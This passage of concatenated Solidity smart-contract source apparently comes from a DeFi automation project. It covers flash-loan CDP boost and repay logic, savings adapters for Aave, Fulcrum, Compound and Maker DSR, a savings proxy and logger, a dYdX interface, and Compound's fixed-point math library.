_gasCost, _joinAddr, _managerType); return; } uint256 loanAmount = sub(_exchangeData.srcAmount, maxDebt); loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount; MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee Manager(managerAddr).cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1); bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, false, uint8(_managerType)); lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, DAI_ADDRESS, loanAmount, paramsData); Manager(managerAddr).cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0); } function repayWithLoan( ExchangeData memory _exchangeData, uint _cdpId, uint _gasCost, address _joinAddr, ManagerType _managerType ) public payable burnGas(25) { address managerAddr = getManagerAddr(_managerType); uint256 maxColl = getMaxCollateral(managerAddr, _cdpId, Manager(managerAddr).ilks(_cdpId), _joinAddr); uint maxLiq = getAvailableLiquidity(_joinAddr); if (maxColl >= _exchangeData.srcAmount || maxLiq == 0) { if (_exchangeData.srcAmount > maxColl) { _exchangeData.srcAmount = maxColl; } repay(_exchangeData, _cdpId, _gasCost, _joinAddr, _managerType); return; } uint256 loanAmount = sub(_exchangeData.srcAmount, maxColl); loanAmount = loanAmount > maxLiq ? maxLiq : loanAmount; MCD_SAVER_FLASH_LOAN.transfer(msg.value); // 0x fee Manager(managerAddr).cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 1); bytes memory paramsData = abi.encode(packExchangeData(_exchangeData), _cdpId, _gasCost, _joinAddr, true, uint8(_managerType)); lendingPool.flashLoan(MCD_SAVER_FLASH_LOAN, getAaveCollAddr(_joinAddr), loanAmount, paramsData); Manager(managerAddr).cdpAllow(_cdpId, MCD_SAVER_FLASH_LOAN, 0); } /// @notice Gets the maximum amount of debt available to generate /// @param _managerAddr Address of the CDP Manager /// @param _cdpId Id of the CDP /// @param _ilk Ilk of the CDP function getMaxDebt(address _managerAddr, uint256 _cdpId, bytes32 _ilk) public override view returns (uint256) { uint256 price = getPrice(_ilk); (, uint256 mat) = spotter.ilks(_ilk); (uint256 collateral, uint256 debt) = getCdpInfo(Manager(_managerAddr), _cdpId, _ilk); return sub(wdiv(wmul(collateral, price), mat), debt); } function getAaveCollAddr(address _joinAddr) internal view returns (address) { if (isEthJoinAddr(_joinAddr) || _joinAddr == 0x775787933e92b709f2a3C70aa87999696e74A9F8) { return KYBER_ETH_ADDRESS; } else if (_joinAddr == DAI_JOIN_ADDRESS) { return DAI_ADDRESS; } else { return getCollateralAddr(_joinAddr); } } function getAvailableLiquidity(address _joinAddr) internal view returns (uint liquidity) { address tokenAddr = getAaveCollAddr(_joinAddr); if (tokenAddr == KYBER_ETH_ADDRESS) { liquidity = AAVE_POOL_CORE.balance; } else { liquidity = ERC20(tokenAddr).balanceOf(AAVE_POOL_CORE); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../ProtocolInterface.sol"; import "../../interfaces/IAToken.sol"; import "../../interfaces/ILendingPool.sol"; import "../../interfaces/ERC20.sol"; import "../../DS/DSAuth.sol"; contract AaveSavingsProtocol is ProtocolInterface, DSAuth { address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d; address public constant AAVE_LENDING_POOL = 0x398eC7346DcD622eDc5ae82352F02bE94C62d119; address public constant AAVE_LENDING_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; function deposit(address _user, uint _amount) public override { require(msg.sender == _user); // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); ERC20(DAI_ADDRESS).approve(AAVE_LENDING_POOL_CORE, uint(-1)); ILendingPool(AAVE_LENDING_POOL).deposit(DAI_ADDRESS, _amount, 0); ERC20(ADAI_ADDRESS).transfer(_user, ERC20(ADAI_ADDRESS).balanceOf(address(this))); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); require(ERC20(ADAI_ADDRESS).transferFrom(_user, address(this), _amount)); IAToken(ADAI_ADDRESS).redeem(_amount); // return dai we have to user ERC20(DAI_ADDRESS).transfer(_user, _amount); } } pragma solidity ^0.6.0; abstract contract ProtocolInterface { function deposit(address _user, uint256 _amount) public virtual; function withdraw(address _user, uint256 _amount) public virtual; } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../ProtocolInterface.sol"; import "../../interfaces/ERC20.sol"; import "../../interfaces/ITokenInterface.sol"; import "../../DS/DSAuth.sol"; contract FulcrumSavingsProtocol is ProtocolInterface, DSAuth { address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public savingsProxy; uint public decimals = 10 ** 18; function addSavingsProxy(address _savingsProxy) public auth { savingsProxy = _savingsProxy; } function deposit(address _user, uint _amount) public override { require(msg.sender == _user); // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); // approve dai to Fulcrum ERC20(DAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1)); // mint iDai ITokenInterface(NEW_IDAI_ADDRESS).mint(_user, _amount); } function withdraw(address _user, uint _amount) public override { require(msg.sender == _user); // transfer all users tokens to our contract require(ERC20(NEW_IDAI_ADDRESS).transferFrom(_user, address(this), ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(_user))); // approve iDai to that contract ERC20(NEW_IDAI_ADDRESS).approve(NEW_IDAI_ADDRESS, uint(-1)); uint tokenPrice = ITokenInterface(NEW_IDAI_ADDRESS).tokenPrice(); // get dai from iDai contract ITokenInterface(NEW_IDAI_ADDRESS).burn(_user, _amount * decimals / tokenPrice); // return all remaining tokens back to user require(ERC20(NEW_IDAI_ADDRESS).transfer(_user, ITokenInterface(NEW_IDAI_ADDRESS).balanceOf(address(this)))); } } pragma solidity ^0.6.0; import "./ERC20.sol"; abstract contract ITokenInterface is ERC20 { function assetBalanceOf(address _owner) public virtual view returns (uint256); function mint(address receiver, uint256 depositAmount) external virtual returns (uint256 mintAmount); function burn(address receiver, uint256 burnAmount) external virtual returns (uint256 loanAmountPaid); function tokenPrice() public virtual view returns (uint256 price); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./ProtocolInterface.sol"; import "../interfaces/ERC20.sol"; import "../interfaces/ITokenInterface.sol"; import "../interfaces/ComptrollerInterface.sol"; import "./dydx/ISoloMargin.sol"; import "./SavingsLogger.sol"; import "./dsr/DSRSavingsProtocol.sol"; import "./compound/CompoundSavingsProtocol.sol"; contract SavingsProxy is DSRSavingsProtocol, CompoundSavingsProtocol { address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d; address public constant SAVINGS_DYDX_ADDRESS = 0x03b1565e070df392e48e7a8e01798C4B00E534A5; address public constant SAVINGS_AAVE_ADDRESS = 0x535B9035E9bA8D7efe0FeAEac885fb65b303E37C; address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081; address public constant COMP_ADDRESS = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant SAVINGS_LOGGER_ADDRESS = 0x89b3635BD2bAD145C6f92E82C9e83f06D5654984; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; enum SavingsProtocol {Compound, Dydx, Fulcrum, Dsr, Aave} function deposit(SavingsProtocol _protocol, uint256 _amount) public { if (_protocol == SavingsProtocol.Dsr) { dsrDeposit(_amount, true); } else if (_protocol == SavingsProtocol.Compound) { compDeposit(msg.sender, _amount); } else { _deposit(_protocol, _amount, true); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logDeposit(msg.sender, uint8(_protocol), _amount); } function withdraw(SavingsProtocol _protocol, uint256 _amount) public { if (_protocol == SavingsProtocol.Dsr) { dsrWithdraw(_amount, true); } else if (_protocol == SavingsProtocol.Compound) { compWithdraw(msg.sender, _amount); } else { _withdraw(_protocol, _amount, true); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logWithdraw(msg.sender, uint8(_protocol), _amount); } function swap(SavingsProtocol _from, SavingsProtocol _to, uint256 _amount) public { if (_from == SavingsProtocol.Dsr) { dsrWithdraw(_amount, false); } else if (_from == SavingsProtocol.Compound) { compWithdraw(msg.sender, _amount); } else { _withdraw(_from, _amount, false); } // possible to withdraw 1-2 wei less than actual amount due to division precision // so we deposit all amount on DSProxy uint256 amountToDeposit = ERC20(DAI_ADDRESS).balanceOf(address(this)); if (_to == SavingsProtocol.Dsr) { dsrDeposit(amountToDeposit, false); } else if (_from == SavingsProtocol.Compound) { compDeposit(msg.sender, _amount); } else { _deposit(_to, amountToDeposit, false); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logSwap( msg.sender, uint8(_from), uint8(_to), _amount ); } function withdrawDai() public { ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this))); } function claimComp() public { ComptrollerInterface(COMP_ADDRESS).claimComp(address(this)); } function getAddress(SavingsProtocol _protocol) public pure returns (address) { if (_protocol == SavingsProtocol.Dydx) { return SAVINGS_DYDX_ADDRESS; } if (_protocol == SavingsProtocol.Aave) { return SAVINGS_AAVE_ADDRESS; } } function _deposit(SavingsProtocol _protocol, uint256 _amount, bool _fromUser) internal { if (_fromUser) { ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), _amount); } approveDeposit(_protocol); ProtocolInterface(getAddress(_protocol)).deposit(address(this), _amount); endAction(_protocol); } function _withdraw(SavingsProtocol _protocol, uint256 _amount, bool _toUser) public { approveWithdraw(_protocol); ProtocolInterface(getAddress(_protocol)).withdraw(address(this), _amount); endAction(_protocol); if (_toUser) { withdrawDai(); } } function endAction(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Dydx) { setDydxOperator(false); } } function approveDeposit(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Compound || _protocol == SavingsProtocol.Fulcrum || _protocol == SavingsProtocol.Aave) { ERC20(DAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Dydx) { ERC20(DAI_ADDRESS).approve(SOLO_MARGIN_ADDRESS, uint256(-1)); setDydxOperator(true); } } function approveWithdraw(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Compound) { ERC20(NEW_CDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Dydx) { setDydxOperator(true); } if (_protocol == SavingsProtocol.Fulcrum) { ERC20(NEW_IDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Aave) { ERC20(ADAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } } function setDydxOperator(bool _trusted) internal { ISoloMargin.OperatorArg[] memory operatorArgs = new ISoloMargin.OperatorArg[](1); operatorArgs[0] = ISoloMargin.OperatorArg({ operator: getAddress(SavingsProtocol.Dydx), trusted: _trusted }); ISoloMargin(SOLO_MARGIN_ADDRESS).setOperators(operatorArgs); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; abstract contract ComptrollerInterface { struct CompMarketState { uint224 index; uint32 block; } function claimComp(address holder) public virtual; function claimComp(address holder, address[] memory cTokens) public virtual; function claimComp(address[] memory holders, address[] memory cTokens, bool borrowers, bool suppliers) public virtual; function compSupplyState(address) public view virtual returns (CompMarketState memory); function compSupplierIndex(address,address) public view virtual returns (uint); function compAccrued(address) public view virtual returns (uint); function compBorrowState(address) public view virtual returns (CompMarketState memory); function compBorrowerIndex(address,address) public view virtual returns (uint); function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory); function exitMarket(address cToken) external virtual returns (uint256); function getAssetsIn(address account) external virtual view returns (address[] memory); function markets(address account) public virtual view returns (bool, uint256); function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256); function oracle() public virtual view returns (address); function borrowCaps(address) external virtual returns (uint256); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (public virtually) Sell, // sell an amount of some token (public virtually) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if positive uint256 value; } } abstract contract ISoloMargin { struct OperatorArg { address operator; bool trusted; } function ownerSetSpreadPremium( uint256 marketId, Decimal.D256 memory spreadPremium ) public virtual; function getIsGlobalOperator(address operator) public virtual view returns (bool); function getMarketTokenAddress(uint256 marketId) public virtual view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) public virtual; function getAccountValues(Account.Info memory account) public virtual view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) public virtual view returns (address); function getMarketInterestSetter(uint256 marketId) public virtual view returns (address); function getMarketSpreadPremium(uint256 marketId) public virtual view returns (Decimal.D256 memory); function getNumMarkets() public virtual view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) public virtual returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) public virtual; function ownerSetLiquidationSpread(Decimal.D256 memory spread) public virtual; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) public virtual; function getIsLocalOperator(address owner, address operator) public virtual view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) public virtual view returns (Types.Par memory); function ownerSetMarginPremium( uint256 marketId, Decimal.D256 memory marginPremium ) public virtual; function getMarginRatio() public virtual view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) public virtual view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) public virtual view returns (bool); function getRiskParams() public virtual view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) public virtual view returns (address[] memory, Types.Par[] memory, Types.Wei[] memory); function renounceOwnership() public virtual; function getMinBorrowedValue() public virtual view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) public virtual; function getMarketPrice(uint256 marketId) public virtual view returns (address); function owner() public virtual view returns (address); function isOwner() public virtual view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) public virtual returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) public virtual; function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public virtual; function getMarketWithInfo(uint256 marketId) public virtual view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) public virtual; function getLiquidationSpread() public virtual view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) public virtual view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) public virtual view returns (Types.TotalPar memory); function getLiquidationSpreadForPair( uint256 heldMarketId, uint256 owedMarketId ) public virtual view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) public virtual view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) public virtual view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) public virtual view returns (uint8); function getEarningsRate() public virtual view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) public virtual; function getRiskLimits() public virtual view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) public virtual view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) public virtual; function ownerSetGlobalOperator(address operator, bool approved) public virtual; function transferOwnership(address newOwner) public virtual; function getAdjustedAccountValues(Account.Info memory account) public virtual view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) public virtual view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) public virtual view returns (Interest.Rate memory); } pragma solidity ^0.6.0; contract SavingsLogger { event Deposit(address indexed sender, uint8 protocol, uint256 amount); event Withdraw(address indexed sender, uint8 protocol, uint256 amount); event Swap(address indexed sender, uint8 fromProtocol, uint8 toProtocol, uint256 amount); function logDeposit(address _sender, uint8 _protocol, uint256 _amount) external { emit Deposit(_sender, _protocol, _amount); } function logWithdraw(address _sender, uint8 _protocol, uint256 _amount) external { emit Withdraw(_sender, _protocol, _amount); } function logSwap(address _sender, uint8 _protocolFrom, uint8 _protocolTo, uint256 _amount) external { emit Swap(_sender, _protocolFrom, _protocolTo, _amount); } } pragma solidity ^0.6.0; import "../../interfaces/Join.sol"; import "../../DS/DSMath.sol"; abstract contract VatLike { function can(address, address) virtual public view returns (uint); function ilks(bytes32) virtual public view returns (uint, uint, uint, uint, uint); function dai(address) virtual public view returns (uint); function urns(bytes32, address) virtual public view returns (uint, uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; } abstract contract PotLike { function pie(address) virtual public view returns (uint); function drip() virtual public returns (uint); function join(uint) virtual public; function exit(uint) virtual public; } abstract contract GemLike { function approve(address, uint) virtual public; function transfer(address, uint) virtual public; function transferFrom(address, address, uint) virtual public; function deposit() virtual public payable; function withdraw(uint) virtual public; } abstract contract DaiJoinLike { function vat() virtual public returns (VatLike); function dai() virtual public returns (GemLike); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } contract DSRSavingsProtocol is DSMath { // Mainnet address public constant POT_ADDRESS = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7; address public constant DAI_JOIN_ADDRESS = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; function dsrDeposit(uint _amount, bool _fromUser) internal { VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat(); uint chi = PotLike(POT_ADDRESS).drip(); daiJoin_join(DAI_JOIN_ADDRESS, address(this), _amount, _fromUser); if (vat.can(address(this), address(POT_ADDRESS)) == 0) { vat.hope(POT_ADDRESS); } PotLike(POT_ADDRESS).join(mul(_amount, RAY) / chi); } function dsrWithdraw(uint _amount, bool _toUser) internal { VatLike vat = DaiJoinLike(DAI_JOIN_ADDRESS).vat(); uint chi = PotLike(POT_ADDRESS).drip(); uint pie = mul(_amount, RAY) / chi; PotLike(POT_ADDRESS).exit(pie); uint balance = DaiJoinLike(DAI_JOIN_ADDRESS).vat().dai(address(this)); if (vat.can(address(this), address(DAI_JOIN_ADDRESS)) == 0) { vat.hope(DAI_JOIN_ADDRESS); } address to; if (_toUser) { to = msg.sender; } else { to = address(this); } if (_amount == uint(-1)) { DaiJoinLike(DAI_JOIN_ADDRESS).exit(to, mul(chi, pie) / RAY); } else { DaiJoinLike(DAI_JOIN_ADDRESS).exit( to, balance >= mul(_amount, RAY) ? _amount : balance / RAY ); } } function daiJoin_join(address apt, address urn, uint wad, bool _fromUser) internal { if (_fromUser) { DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); } DaiJoinLike(apt).dai().approve(apt, wad); DaiJoinLike(apt).join(urn, wad); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../ProtocolInterface.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../compound/helpers/Exponential.sol"; import "../../interfaces/ERC20.sol"; contract CompoundSavingsProtocol { address public constant NEW_CDAI_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; CTokenInterface public constant cDaiContract = CTokenInterface(NEW_CDAI_ADDRESS); function compDeposit(address _user, uint _amount) internal { // get dai from user require(ERC20(DAI_ADDRESS).transferFrom(_user, address(this), _amount)); // mainnet only ERC20(DAI_ADDRESS).approve(NEW_CDAI_ADDRESS, uint(-1)); // mint cDai require(cDaiContract.mint(_amount) == 0, "Failed Mint"); } function compWithdraw(address _user, uint _amount) internal { // transfer all users balance to this contract require(cDaiContract.transferFrom(_user, address(this), ERC20(NEW_CDAI_ADDRESS).balanceOf(_user))); // approve cDai to compound contract cDaiContract.approve(NEW_CDAI_ADDRESS, uint(-1)); // get dai from cDai contract require(cDaiContract.redeemUnderlying(_amount) == 0, "Reedem Failed"); // return to user balance we didn't spend uint cDaiBalance = cDaiContract.balanceOf(address(this)); if (cDaiBalance > 0) { cDaiContract.transfer(_user, cDaiBalance); } // return dai we have to user ERC20(DAI_ADDRESS).transfer(_user, _amount); } } pragma solidity ^0.6.0; import "./CarefulMath.sol"; contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function sub_(Exp memory a, Exp memory b) pure internal returns 